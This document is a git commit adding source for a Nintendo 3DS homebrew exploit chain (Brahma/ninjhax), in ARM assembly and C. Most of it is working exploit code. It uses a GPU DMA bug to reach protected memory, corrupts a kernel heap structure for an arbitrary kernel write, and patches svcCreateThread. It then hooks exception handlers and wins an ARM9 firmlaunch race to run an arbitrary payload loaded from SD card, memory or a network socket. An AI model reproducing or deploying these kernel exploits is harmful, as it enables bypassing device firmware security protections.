added ninjhax entry code
This commit is contained in:
178
ninjhax/source/arm11.s
Normal file
178
ninjhax/source/arm11.s
Normal file
@@ -0,0 +1,178 @@
|
||||
.arm
|
||||
.align 4
|
||||
.code 32
|
||||
.text
|
||||
|
||||
.global arm11_start
|
||||
arm11_start:
|
||||
B hook1
|
||||
B hook2
|
||||
|
||||
hook1:
|
||||
STMFD SP!, {R0-R12,LR}
|
||||
|
||||
MOV R0, #1000
|
||||
BL busy_spin
|
||||
|
||||
MOV R0, #0
|
||||
BL pxi_send
|
||||
|
||||
BL pxi_sync
|
||||
|
||||
MOV R0, #0x10000
|
||||
BL pxi_send
|
||||
|
||||
BL pxi_recv
|
||||
BL pxi_recv
|
||||
BL pxi_recv
|
||||
|
||||
MOV R0, #2
|
||||
BL pdn_send
|
||||
|
||||
MOV R0, #16
|
||||
BL busy_spin
|
||||
|
||||
MOV R0, #0
|
||||
BL pdn_send
|
||||
|
||||
MOV R0, #16
|
||||
BL busy_spin
|
||||
|
||||
LDMFD SP!, {R0-R12,LR}
|
||||
|
||||
LDR R0, var_44836
|
||||
STR R0, [R1]
|
||||
LDR PC, va_hook1_ret
|
||||
|
||||
var_44836: .long 0x44836
|
||||
|
||||
@ copy hijack_arm9 routine and execute
|
||||
hook2:
|
||||
ADR R0, hijack_arm9
|
||||
ADR R1, hijack_arm9_end
|
||||
LDR R2, pa_hijack_arm9_dst
|
||||
MOV R4, R2
|
||||
BL copy_mem
|
||||
BX R4
|
||||
|
||||
@ exploits a race condition in order
|
||||
@ to take control over the arm9 core
|
||||
hijack_arm9:
|
||||
@ init
|
||||
LDR R0, pa_arm11_code
|
||||
MOV R1, #0
|
||||
STR R1, [R0]
|
||||
|
||||
@ load physical addresses
|
||||
LDR R10, pa_firm_header
|
||||
LDR R9, pa_arm9_payload
|
||||
LDR R8, pa_io_mem
|
||||
|
||||
@ send pxi cmd 0x44846
|
||||
LDR R1, pa_pxi_regs
|
||||
LDR R2, some_pxi_cmd
|
||||
STR R2, [R1, #8]
|
||||
|
||||
wait_arm9_loop:
|
||||
LDRB R0, [R8]
|
||||
ANDS R0, R0, #1
|
||||
BNE wait_arm9_loop
|
||||
|
||||
@ get arm9 orig entry point phys addr from FIRM header
|
||||
LDR R0, [R10, #0x0C]
|
||||
|
||||
@ backup orig entry point to FCRAM + offs ARM9 payload + 4
|
||||
STR R0, [R9, #0x4]
|
||||
|
||||
@ overwrite orig entry point with FCRAM addr
|
||||
@ this exploits the race condition bug
|
||||
STR R9, [R10, #0x0C]
|
||||
|
||||
LDR R0, pa_arm11_code
|
||||
wait_arm11_loop:
|
||||
LDR R1, [r0]
|
||||
CMP R1, #0
|
||||
BEQ wait_arm11_loop
|
||||
BX R1
|
||||
|
||||
pa_hijack_arm9_dst: .long 0x1FFFFC00
|
||||
pa_arm11_code: .long 0x1FFFFFF8
|
||||
pa_pxi_regs: .long 0x10163000
|
||||
some_pxi_cmd: .long 0x44846
|
||||
pa_firm_header: .long 0x24000000
|
||||
pa_arm9_payload: .long 0x23F00000
|
||||
pa_io_mem: .long 0x10140000
|
||||
hijack_arm9_end:
|
||||
|
||||
copy_mem:
|
||||
SUB R3, R1, R0
|
||||
MOV R1, R3,ASR#2
|
||||
CMP R1, #0
|
||||
BLE locret_FFFF0AC0
|
||||
MOVS R1, R3,LSL#29
|
||||
SUB R0, R0, #4
|
||||
SUB R1, R2, #4
|
||||
BPL loc_FFFF0AA0
|
||||
LDR R2, [R0,#4]!
|
||||
STR R2, [R1,#4]!
|
||||
loc_FFFF0AA0:
|
||||
MOVS R2, R3,ASR#3
|
||||
BEQ locret_FFFF0AC0
|
||||
loc_FFFF0AA8:
|
||||
LDR R3, [R0,#4]
|
||||
SUBS R2, R2, #1
|
||||
STR R3, [R1,#4]
|
||||
LDR R3, [R0,#8]!
|
||||
STR R3, [R1,#8]!
|
||||
BNE loc_FFFF0AA8
|
||||
locret_FFFF0AC0:
|
||||
BX LR
|
||||
|
||||
busy_spin:
|
||||
SUBS R0, R0, #2
|
||||
NOP
|
||||
BGT busy_spin
|
||||
BX LR
|
||||
|
||||
pdn_send:
|
||||
LDR R1, va_pdn_regs
|
||||
STRB R0, [R1, #0x230]
|
||||
BX LR
|
||||
|
||||
pxi_send:
|
||||
LDR R1, va_pxi_regs
|
||||
loc_1020D0:
|
||||
LDRH R2, [R1,#4]
|
||||
TST R2, #2
|
||||
BNE loc_1020D0
|
||||
STR R0, [R1,#8]
|
||||
BX LR
|
||||
|
||||
pxi_recv:
|
||||
LDR R0, va_pxi_regs
|
||||
loc_1020FC:
|
||||
LDRH R1, [R0,#4]
|
||||
TST R1, #0x100
|
||||
BNE loc_1020FC
|
||||
LDR R0, [R0,#0xC]
|
||||
BX LR
|
||||
|
||||
pxi_sync:
|
||||
LDR R0, va_pxi_regs
|
||||
LDRB R1, [R0,#3]
|
||||
ORR R1, R1, #0x40
|
||||
STRB R1, [R0,#3]
|
||||
BX LR
|
||||
|
||||
.global arm11_end
|
||||
arm11_end:
|
||||
|
||||
.global arm11_globals_start
|
||||
arm11_globals_start:
|
||||
|
||||
va_pdn_regs: .long 0
|
||||
va_pxi_regs: .long 0
|
||||
va_hook1_ret: .long 0
|
||||
|
||||
.global arm11_globals_end
|
||||
arm11_globals_end:
|
||||
24
ninjhax/source/arm9.s
Normal file
24
ninjhax/source/arm9.s
Normal file
@@ -0,0 +1,24 @@
|
||||
.arm
|
||||
.align 4
|
||||
.code 32
|
||||
.text
|
||||
|
||||
@ default ARM9 payload, simply launches FIRM (reboots without clearing mem)
|
||||
.global arm9_start
|
||||
arm9_start:
|
||||
B skipvars
|
||||
|
||||
@ offs 4, will contain backup copy of FIRM ARM9
|
||||
@ entry point so execution can be returned to FIRM
|
||||
pa_arm9_entrypoint_backup: .long 0xFFFF0000
|
||||
|
||||
skipvars:
|
||||
STMFD SP!, {R0-R12,LR}
|
||||
|
||||
@ insert your funky stuff here
|
||||
LDMFD SP!, {R0-R12,LR}
|
||||
|
||||
LDR PC, pa_arm9_entrypoint_backup
|
||||
|
||||
.global arm9_end
|
||||
arm9_end:
|
||||
452
ninjhax/source/brahma.c
Normal file
452
ninjhax/source/brahma.c
Normal file
@@ -0,0 +1,452 @@
|
||||
#include <3ds.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include <dirent.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/_default_fcntl.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include "brahma.h"
|
||||
#include "exploitdata.h"
|
||||
|
||||
|
||||
/* should be the very first call. allocates heap buffer
|
||||
for ARM9 payload */
|
||||
u32 brahma_init (void) {
|
||||
g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE);
|
||||
return (g_ext_arm9_buf != 0);
|
||||
}
|
||||
|
||||
/* call upon exit */
|
||||
u32 brahma_exit (void) {
|
||||
if (g_ext_arm9_buf) {
|
||||
free(g_ext_arm9_buf);
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* overwrites two instructions (8 bytes in total) at src_addr
|
||||
with code that redirects execution to dst_addr */
|
||||
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
|
||||
*(src_addr + 1) = dst_addr;
|
||||
*src_addr = ARM_JUMPOUT;
|
||||
}
|
||||
|
||||
/* exploits a bug that causes the GPU to copy memory
|
||||
that otherwise would be inaccessible to code from
|
||||
a non-privileged context */
|
||||
void do_gshax_copy (void *dst, void *src, u32 len) {
|
||||
u32 check_mem = linearMemAlign(0x10000, 0x40);
|
||||
s32 i = 0;
|
||||
|
||||
for (i = 0; i < 16; ++i) {
|
||||
GSPGPU_FlushDataCache (NULL, src, len);
|
||||
GX_SetTextureCopy(NULL, src, 0, dst, 0, len, 8);
|
||||
GSPGPU_FlushDataCache (NULL, check_mem, 16);
|
||||
GX_SetTextureCopy(NULL, src, 0, check_mem, 0, 0x40, 8);
|
||||
}
|
||||
HB_FlushInvalidateCache();
|
||||
linearFree(check_mem);
|
||||
return;
|
||||
}
|
||||
|
||||
/* fills exploit_data structure with information that is specific
|
||||
to 3DS model and firmware version
|
||||
returns: 0 on failure, 1 on success */
|
||||
s32 get_exploit_data (struct exploit_data *data) {
|
||||
u32 fversion = 0;
|
||||
u8 isN3DS = 0;
|
||||
s32 i;
|
||||
s32 result = 0;
|
||||
u32 sysmodel = SYS_MODEL_NONE;
|
||||
|
||||
if(!data)
|
||||
return result;
|
||||
|
||||
fversion = osGetFirmVersion();
|
||||
APT_CheckNew3DS(NULL, &isN3DS);
|
||||
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
|
||||
|
||||
/* copy platform and firmware dependent data */
|
||||
for(i=0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
|
||||
if (supported_systems[i].firm_version == fversion &&
|
||||
supported_systems[i].sys_model & sysmodel) {
|
||||
memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
|
||||
result = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/* exploits a bug in order to cause the ARM11 kernel
|
||||
to write a certain 32 bit value to 'address' */
|
||||
void priv_write_four (u32 address) {
|
||||
const u32 size_heap_cblk = 8 * sizeof(u32);
|
||||
u32 addr_lin, addr_lin_o;
|
||||
u32 dummy;
|
||||
u32 *saved_heap = linearMemAlign(size_heap_cblk, 0x10);
|
||||
u32 *cstm_heap = linearMemAlign(size_heap_cblk, 0x10);
|
||||
|
||||
svcControlMemory(&addr_lin, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3);
|
||||
addr_lin_o = addr_lin + 0x1000;
|
||||
svcControlMemory(&dummy, addr_lin_o, 0, 0x1000, MEMOP_FREE, 0);
|
||||
|
||||
// back up heap
|
||||
do_gshax_copy(saved_heap, addr_lin_o, size_heap_cblk);
|
||||
|
||||
// set up a custom heap ctrl structure
|
||||
cstm_heap[0] = 1;
|
||||
cstm_heap[1] = address - 8;
|
||||
cstm_heap[2] = 0;
|
||||
cstm_heap[3] = 0;
|
||||
|
||||
// corrupt heap ctrl structure by overwriting it with our custom struct
|
||||
do_gshax_copy(addr_lin_o, cstm_heap, 4 * sizeof(u32));
|
||||
|
||||
// Trigger write to 'address'
|
||||
svcControlMemory(&dummy, addr_lin, 0, 0x1000, MEMOP_FREE, 0);
|
||||
|
||||
// restore heap
|
||||
do_gshax_copy(addr_lin, saved_heap, size_heap_cblk);
|
||||
|
||||
linearFree(saved_heap);
|
||||
linearFree(cstm_heap);
|
||||
return;
|
||||
}
|
||||
|
||||
// trick to clear icache
|
||||
void user_clear_icache (void) {
|
||||
s32 i, result = 0;
|
||||
s32 (*nop_func)(void);
|
||||
const u32 size_nopslide = 0x1000;
|
||||
u32 *nop_slide = memalign(0x1000, size_nopslide);
|
||||
|
||||
if (nop_slide) {
|
||||
HB_ReprotectMemory(nop_slide, 4, 7, &result);
|
||||
for (i = 0; i < size_nopslide / sizeof(u32); i++) {
|
||||
nop_slide[i] = ARM_NOP;
|
||||
}
|
||||
nop_slide[i-1] = ARM_RET;
|
||||
nop_func = nop_slide;
|
||||
HB_FlushInvalidateCache();
|
||||
|
||||
nop_func();
|
||||
free(nop_slide);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* get system dependent data and set up ARM11 structures */
|
||||
s32 setup_exploit_data (void) {
|
||||
s32 result = 0;
|
||||
|
||||
if (get_exploit_data(&g_expdata)) {
|
||||
/* copy data required by code running in ARM11 svc mode */
|
||||
g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret;
|
||||
g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs;
|
||||
g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs;
|
||||
result = 1;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/* Corrupts ARM11 kernel code (CreateThread()) in order to
|
||||
open a door for code execution with ARM11 SVC privileges. */
|
||||
s32 corrupt_svcCreateThread (void) {
|
||||
s32 result = 0;
|
||||
|
||||
priv_write_four(g_expdata.va_patch_createthread);
|
||||
user_clear_icache();
|
||||
result = 1;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/* TODO: network code might be moved somewhere else */
|
||||
s32 recv_arm9_payload (void) {
|
||||
s32 sockfd;
|
||||
struct sockaddr_in sa;
|
||||
s32 ret;
|
||||
u32 kDown, old_kDown;
|
||||
s32 clientfd;
|
||||
struct sockaddr_in client_addr;
|
||||
s32 addrlen = sizeof(client_addr);
|
||||
s32 sflags = 0;
|
||||
|
||||
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||
printf("[!] Error: socket()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
bzero(&sa, sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(BRAHMA_NETWORK_PORT);
|
||||
sa.sin_addr.s_addr = gethostid();
|
||||
|
||||
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||
printf("[!] Error: bind()\n");
|
||||
close(sockfd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (listen(sockfd, 1) != 0) {
|
||||
printf("[!] Error: listen()\n");
|
||||
close(sockfd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("[x] IP %s:%d\n", inet_ntoa(sa.sin_addr), BRAHMA_NETWORK_PORT);
|
||||
|
||||
g_ext_arm9_size = 0;
|
||||
g_ext_arm9_loaded = 0;
|
||||
|
||||
sflags = fcntl(sockfd, F_GETFL);
|
||||
if (sflags == -1) {
|
||||
printf("[!] Error: fcntl() (1)\n");
|
||||
close(sockfd);
|
||||
}
|
||||
fcntl(sockfd, F_SETFL, sflags | O_NONBLOCK);
|
||||
|
||||
hidScanInput();
|
||||
old_kDown = hidKeysDown();
|
||||
while (1) {
|
||||
hidScanInput();
|
||||
kDown = hidKeysDown();
|
||||
if (kDown != old_kDown) {
|
||||
printf("[!] Aborted\n");
|
||||
close(sockfd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen);
|
||||
svcSleepThread(100000000);
|
||||
if (clientfd > 0)
|
||||
break;
|
||||
}
|
||||
|
||||
printf("[x] Connection from %s:%d\n\n", inet_ntoa(client_addr.sin_addr),
|
||||
ntohs(client_addr.sin_port));
|
||||
|
||||
s32 recvd;
|
||||
u32 total = 0;
|
||||
s32 overflow = 0;
|
||||
while ((recvd = recv(clientfd, g_ext_arm9_buf + total,
|
||||
ARM9_PAYLOAD_MAX_SIZE - total, 0)) != 0) {
|
||||
if (recvd != -1) {
|
||||
total += recvd;
|
||||
printf(".");
|
||||
}
|
||||
if (total >= ARM9_PAYLOAD_MAX_SIZE) {
|
||||
overflow = 1;
|
||||
printf("[!] Error: invalid payload size\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
|
||||
|
||||
printf("\n\n[x] Received %d bytes in total\n", total);
|
||||
g_ext_arm9_size = overflow ? 0 : total;
|
||||
g_ext_arm9_loaded = (g_ext_arm9_size != 0);
|
||||
|
||||
close(clientfd);
|
||||
close(sockfd);
|
||||
|
||||
return g_ext_arm9_loaded;
|
||||
}
|
||||
|
||||
/* reads ARM9 payload from a given path.
|
||||
filename: full path of payload
|
||||
returns: 0 on failure, 1 on success */
|
||||
s32 load_arm9_payload (char *filename) {
|
||||
s32 result = 0;
|
||||
u32 fsize = 0;
|
||||
|
||||
if (!filename)
|
||||
return result;
|
||||
|
||||
FILE *f = fopen(filename, "rb");
|
||||
if (f) {
|
||||
fseek(f , 0, SEEK_END);
|
||||
fsize = ftell(f);
|
||||
g_ext_arm9_size = fsize;
|
||||
rewind(f);
|
||||
if (fsize >= 8 && (fsize <= ARM9_PAYLOAD_MAX_SIZE)) {
|
||||
u32 bytes_read = fread(g_ext_arm9_buf, 1, fsize, f);
|
||||
result = (g_ext_arm9_loaded = (bytes_read == fsize));
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/* reads ARM9 payload from memory.
|
||||
data: array of u8 containing the payload
|
||||
dsize: size of the data array
|
||||
returns: 0 on failure, 1 on success */
|
||||
s32 load_arm9_payload_from_mem (u8* data, u32 dsize) {
|
||||
s32 result = 0;
|
||||
|
||||
if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) {
|
||||
g_ext_arm9_size = dsize;
|
||||
memcpy(g_ext_arm9_buf, data, dsize);
|
||||
result = g_ext_arm9_loaded = 1;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/* copies ARM9 payload to FCRAM
|
||||
- before overwriting it in memory, Brahma creates a backup copy of
|
||||
the mapped firm binary's ARM9 entry point. The copy will be stored
|
||||
into offset 4 of the ARM9 payload during run-time.
|
||||
This allows the ARM9 payload to resume booting the Nintendo firmware
|
||||
code.
|
||||
Thus, the format of ARM9 payload written for Brahma is the following:
|
||||
- a branch instruction at offset 0 and
|
||||
- a placeholder (u32) at offset 4 (=ARM9 entrypoint) */
|
||||
s32 map_arm9_payload (void) {
|
||||
void *src;
|
||||
volatile void *dst;
|
||||
|
||||
u32 size = 0;
|
||||
s32 result = 0;
|
||||
|
||||
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
|
||||
|
||||
if (!g_ext_arm9_loaded) {
|
||||
// defaul ARM9 payload
|
||||
src = &arm9_start;
|
||||
size = (u8 *)&arm9_end - (u8 *)&arm9_start;
|
||||
}
|
||||
else {
|
||||
// external ARM9 payload
|
||||
src = g_ext_arm9_buf;
|
||||
size = g_ext_arm9_size;
|
||||
}
|
||||
|
||||
if (size >= 0 && size <= ARM9_PAYLOAD_MAX_SIZE) {
|
||||
memcpy(dst, src, size);
|
||||
result = 1;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
s32 map_arm11_payload (void) {
|
||||
void *src;
|
||||
volatile void *dst;
|
||||
u32 size = 0;
|
||||
u32 offs;
|
||||
s32 result_a = 0;
|
||||
s32 result_b = 0;
|
||||
|
||||
src = &arm11_start;
|
||||
dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED);
|
||||
size = (u8 *)&arm11_end - (u8 *)&arm11_start;
|
||||
|
||||
// TODO: sanitize 'size'
|
||||
if (size) {
|
||||
memcpy(dst, src, size);
|
||||
result_a = 1;
|
||||
}
|
||||
|
||||
offs = size;
|
||||
src = &g_arm11shared;
|
||||
size = sizeof(g_arm11shared);
|
||||
|
||||
dst = (u8 *)(g_expdata.va_exc_handler_base_W +
|
||||
OFFS_EXC_HANDLER_UNUSED + offs);
|
||||
|
||||
// TODO sanitize 'size'
|
||||
if (result_a && size) {
|
||||
memcpy(dst, src, size);
|
||||
result_b = 1;
|
||||
}
|
||||
|
||||
return result_a && result_b;
|
||||
}
|
||||
|
||||
void exploit_arm9_race_condition (void) {
|
||||
|
||||
s32 (* const _KernelSetState)(u32, u32, u32, u32) =
|
||||
(void *)g_expdata.va_kernelsetstate;
|
||||
|
||||
asm volatile ("clrex");
|
||||
|
||||
/* copy ARM11 payload and console specific data */
|
||||
if (map_arm11_payload() &&
|
||||
/* copy ARM9 payload to FCRAM */
|
||||
map_arm9_payload()) {
|
||||
|
||||
/* patch ARM11 kernel to force it to execute
|
||||
our code (hook1 and hook2) as soon as a
|
||||
"firmlaunch" is triggered */
|
||||
redirect_codeflow(g_expdata.va_exc_handler_base_X +
|
||||
OFFS_EXC_HANDLER_UNUSED,
|
||||
g_expdata.va_patch_hook1);
|
||||
|
||||
redirect_codeflow(PA_EXC_HANDLER_BASE +
|
||||
OFFS_EXC_HANDLER_UNUSED + 4,
|
||||
g_expdata.va_patch_hook2);
|
||||
|
||||
CleanEntireDataCache();
|
||||
InvalidateEntireInstructionCache();
|
||||
|
||||
// trigger ARM9 code execution through "firmlaunch"
|
||||
_KernelSetState(0, 0, 2, 0);
|
||||
// prev call shouldn't ever return
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* - restores corrupted code of CreateThread() syscall */
|
||||
void repair_svcCreateThread (void) {
|
||||
asm volatile ("clrex");
|
||||
|
||||
CleanEntireDataCache();
|
||||
InvalidateEntireInstructionCache();
|
||||
|
||||
// repair CreateThread()
|
||||
*(u32 *)(g_expdata.va_patch_createthread) = 0x8DD00CE5;
|
||||
|
||||
CleanEntireDataCache();
|
||||
InvalidateEntireInstructionCache();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
/* restore svcCreateThread code (not really required,
|
||||
but just to be on the safe side) */
|
||||
s32 __attribute__((naked))
|
||||
priv_firm_reboot (void) {
|
||||
asm volatile ("add sp, sp, #8\t\n");
|
||||
|
||||
repair_svcCreateThread();
|
||||
exploit_arm9_race_condition();
|
||||
|
||||
asm volatile ("movs r0, #0\t\n"
|
||||
"ldr pc, [sp], #4\t\n");
|
||||
}
|
||||
|
||||
/* perform firmlaunch. load ARM9 payload before calling this
|
||||
function. otherwise, calling this function simply reboots
|
||||
the handheld */
|
||||
s32 firm_reboot (void) {
|
||||
s32 fail_stage = 0;
|
||||
|
||||
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
|
||||
if (setup_exploit_data()) {
|
||||
fail_stage++; /* failure while trying to corrupt svcCreateThread() */
|
||||
if (corrupt_svcCreateThread()) {
|
||||
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
|
||||
svcCorruptedCreateThread(priv_firm_reboot);
|
||||
}
|
||||
}
|
||||
|
||||
/* we do not intend to return ... */
|
||||
return fail_stage;
|
||||
}
|
||||
27
ninjhax/source/hid.c
Normal file
27
ninjhax/source/hid.c
Normal file
@@ -0,0 +1,27 @@
|
||||
#include <3ds.h>
|
||||
|
||||
/* loop until key is pressed */
|
||||
u32 wait_key (void) {
|
||||
hidScanInput();
|
||||
u32 old_kDown, kDown;
|
||||
old_kDown = hidKeysDown();
|
||||
|
||||
while (aptMainLoop()) {
|
||||
gspWaitForVBlank();
|
||||
|
||||
hidScanInput();
|
||||
kDown = hidKeysDown();
|
||||
if (kDown != old_kDown)
|
||||
break;
|
||||
|
||||
gfxFlushBuffers();
|
||||
gfxSwapBuffers();
|
||||
}
|
||||
return kDown;
|
||||
}
|
||||
|
||||
/* convenience function */
|
||||
void wait_any_key (void) {
|
||||
printf("\n\nPress key to continue\n");
|
||||
wait_key();
|
||||
}
|
||||
58
ninjhax/source/main.c
Normal file
58
ninjhax/source/main.c
Normal file
@@ -0,0 +1,58 @@
|
||||
#include <3ds.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include "brahma.h"
|
||||
#include "hid.h"
|
||||
#include "menus.h"
|
||||
#include "sochlp.h"
|
||||
#include "payload_bin.h"
|
||||
|
||||
s32 quick_boot_firm (s32 load_from_disk) {
|
||||
if (load_from_disk)
|
||||
load_arm9_payload_from_mem(payload_bin, payload_bin_size);
|
||||
firm_reboot();
|
||||
}
|
||||
|
||||
s32 main (void) {
|
||||
// Initialize services
|
||||
srvInit();
|
||||
aptInit();
|
||||
hidInit(NULL);
|
||||
gfxInitDefault();
|
||||
fsInit();
|
||||
sdmcInit();
|
||||
hbInit();
|
||||
qtmInit();
|
||||
|
||||
Handle fileHandle;
|
||||
u32 bytesRead;
|
||||
FS_archive sdmcArchive=(FS_archive){ARCH_SDMC, (FS_path){PATH_EMPTY, 1, (u8*)""}};
|
||||
FS_path filePath=FS_makePath(PATH_CHAR, "/reiNand.dat");
|
||||
Result ret=FSUSER_OpenFileDirectly(NULL, &fileHandle, sdmcArchive, filePath, FS_OPEN_READ, FS_ATTRIBUTE_NONE);
|
||||
if(ret) goto EXIT;
|
||||
FSFILE_Read(fileHandle, &bytesRead, 0x20000, 0x14400000, 320*1024);
|
||||
FSFILE_Close(fileHandle);
|
||||
|
||||
consoleInit(GFX_BOTTOM, NULL);
|
||||
if (brahma_init()) {
|
||||
quick_boot_firm(1);
|
||||
printf("[!] Quickload failed\n");
|
||||
brahma_exit();
|
||||
|
||||
} else {
|
||||
printf("* BRAHMA *\n\n[!]Not enough memory\n");
|
||||
wait_any_key();
|
||||
}
|
||||
EXIT:
|
||||
hbExit();
|
||||
sdmcExit();
|
||||
fsExit();
|
||||
gfxExit();
|
||||
hidExit();
|
||||
aptExit();
|
||||
srvExit();
|
||||
// Return to hbmenu
|
||||
return 0;
|
||||
}
|
||||
171
ninjhax/source/menus.c
Normal file
171
ninjhax/source/menus.c
Normal file
@@ -0,0 +1,171 @@
|
||||
#include <dirent.h>
|
||||
#include <3ds.h>
|
||||
#include "menus.h"
|
||||
|
||||
s32 print_menu (s32 idx, struct menu_t *menu) {
|
||||
s32 i;
|
||||
s32 newidx;
|
||||
s32 count = menu_get_element_count(menu);
|
||||
|
||||
newidx = menu_update_index(idx, menu);
|
||||
for (i=0; i<count; i++) {
|
||||
if (newidx == i)
|
||||
printf("[ %s ]\n", menu_get_element_name(i, menu));
|
||||
else
|
||||
printf(" %s \n", menu_get_element_name(i, menu));
|
||||
}
|
||||
return newidx;
|
||||
}
|
||||
|
||||
s32 print_file_list (s32 idx, struct menu_t *menu) {
|
||||
s32 i = 0;
|
||||
s32 newidx;
|
||||
DIR *dp;
|
||||
struct dirent *entry;
|
||||
char *filename = 0;
|
||||
s32 totalfiles = 0;
|
||||
s32 num_printed = 0;
|
||||
|
||||
consoleClear();
|
||||
|
||||
printf("ARM9 payload (%s):\n\n\n", BRAHMADIR);
|
||||
printf("===========================\n");
|
||||
|
||||
s32 count = menu_get_element_count(menu);
|
||||
|
||||
newidx = menu_update_index(idx, menu);
|
||||
if((dp = opendir(BRAHMADIR))) {
|
||||
for (i=0; i<count; i++) {
|
||||
if ((entry = readdir(dp)) != 0) {
|
||||
filename = entry->d_name;
|
||||
}
|
||||
else {
|
||||
filename = "---";
|
||||
}
|
||||
if (newidx == i)
|
||||
printf("[ %s ] %s\n", menu_get_element_name(i, menu), filename);
|
||||
else
|
||||
printf(" %s %s\n", menu_get_element_name(i, menu), filename);
|
||||
}
|
||||
closedir(dp);
|
||||
}
|
||||
else {
|
||||
printf("[!] Could not open '%s'\n", BRAHMADIR);
|
||||
}
|
||||
|
||||
printf("===========================\n\n");
|
||||
printf("A: Confirm\n");
|
||||
printf("B: Back\n");
|
||||
|
||||
return newidx;
|
||||
}
|
||||
|
||||
s32 print_main_menu (s32 idx, struct menu_t *menu) {
|
||||
s32 newidx = 0;
|
||||
consoleClear();
|
||||
|
||||
printf("\n* BRAHMA *\n\n\n");
|
||||
printf("===========================\n");
|
||||
newidx = print_menu(idx, menu);
|
||||
printf("===========================\n\n");
|
||||
printf("A: Confirm\n");
|
||||
printf("B: Exit\n");
|
||||
|
||||
return newidx;
|
||||
}
|
||||
|
||||
s32 get_filename (s32 idx, char *buf, u32 size) {
|
||||
DIR *dp;
|
||||
struct dirent *entry;
|
||||
s32 result = 0;
|
||||
s32 numfiles = 0;
|
||||
|
||||
if((dp = opendir(BRAHMADIR)) && buf && size) {
|
||||
while((entry = readdir(dp)) != NULL) {
|
||||
if (numfiles == idx) {
|
||||
snprintf(buf, size-1, "%s%s", BRAHMADIR, entry->d_name);
|
||||
result = 1;
|
||||
break;
|
||||
}
|
||||
numfiles++;
|
||||
}
|
||||
closedir(dp);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
s32 menu_cb_recv (s32 idx, void *param) {
|
||||
return recv_arm9_payload();
|
||||
}
|
||||
|
||||
s32 menu_cb_load(s32 idx, void *param) {
|
||||
char filename[256];
|
||||
s32 result = 0;
|
||||
|
||||
if (param) {
|
||||
if (get_filename(*(u32 *)param, &filename, sizeof(filename))) {
|
||||
printf("[+] Loading %s\n", filename);
|
||||
result = load_arm9_payload(filename);
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
s32 menu_cb_choose_file (s32 idx, void *param) {
|
||||
s32 curidx = idx;
|
||||
s32 loaded = 0;
|
||||
|
||||
while (aptMainLoop()) {
|
||||
gspWaitForVBlank();
|
||||
|
||||
curidx = print_file_list(curidx, &g_file_list);
|
||||
u32 kDown = wait_key();
|
||||
|
||||
if (kDown & KEY_B) {
|
||||
break;
|
||||
}
|
||||
else if (kDown & KEY_A) {
|
||||
consoleClear();
|
||||
loaded = menu_execute_function(curidx, &g_file_list, &curidx);
|
||||
printf("%s\n", loaded? "[+] Success":"[!] Failure");
|
||||
wait_any_key();
|
||||
if (loaded)
|
||||
break;
|
||||
}
|
||||
else if (kDown & KEY_UP) {
|
||||
curidx--;
|
||||
}
|
||||
else if (kDown & KEY_DOWN) {
|
||||
curidx++;
|
||||
}
|
||||
gfxFlushBuffers();
|
||||
gfxSwapBuffers();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
s32 menu_cb_run (s32 idx, void *param) {
|
||||
s32 fail_stage;
|
||||
|
||||
/* we're kinda screwed if the exploit fails
|
||||
and soc has been deinitialized. not sure
|
||||
whether cleaning up here improves existing
|
||||
problems with using sockets either */
|
||||
soc_exit();
|
||||
printf("[+] Running ARM9 payload\n");
|
||||
fail_stage = firm_reboot();
|
||||
|
||||
char *msg;
|
||||
switch (fail_stage) {
|
||||
case 1:
|
||||
msg = "[!] ARM11 exploit failed";
|
||||
break;
|
||||
case 2:
|
||||
msg = "[!] ARM9 exploit failed";
|
||||
break;
|
||||
default:
|
||||
msg = "[!] Unexpected error";
|
||||
}
|
